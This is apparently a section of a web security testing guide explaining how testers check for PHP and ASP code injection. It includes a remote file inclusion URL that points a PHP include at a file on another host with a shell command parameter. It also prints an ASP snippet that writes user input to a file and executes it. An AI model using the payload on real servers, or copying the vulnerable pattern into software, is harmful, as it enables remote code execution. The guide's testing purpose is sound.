Testing for Code Injection (OTG-INPVAL-012)

Summary
This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server.

In Code Injection testing, a tester submits input that is processed by the web server as dynamic code or as an included file. These tests can target various server-side scripting engines, e.g.., ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks.

Testing for PHP Injection vulnerabilities
Using the querystring, the tester can inject code (in this example, a malicious URL) to be processed as part of the included file:

http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a

Result Expected:

The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an included file.

Testing for ASP Code Injection vulnerabilities
Examine ASP code for user input used in execution functions. Can the user enter commands into the Data input field? Here, the ASP code will save the input to a file and then execute it:

<% If not isEmpty(Request( "Data" ) ) Then Dim fso, f 'User input Data is written to a file named data.txt Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile(Server.MapPath( "data.txt" ), 8, True) f.Write Request("Data") & vbCrLf f.close Set f = nothing Set fso = Nothing

'Data.txt is executed Server.Execute( "data.txt" )

Else %>  <% End If %>)))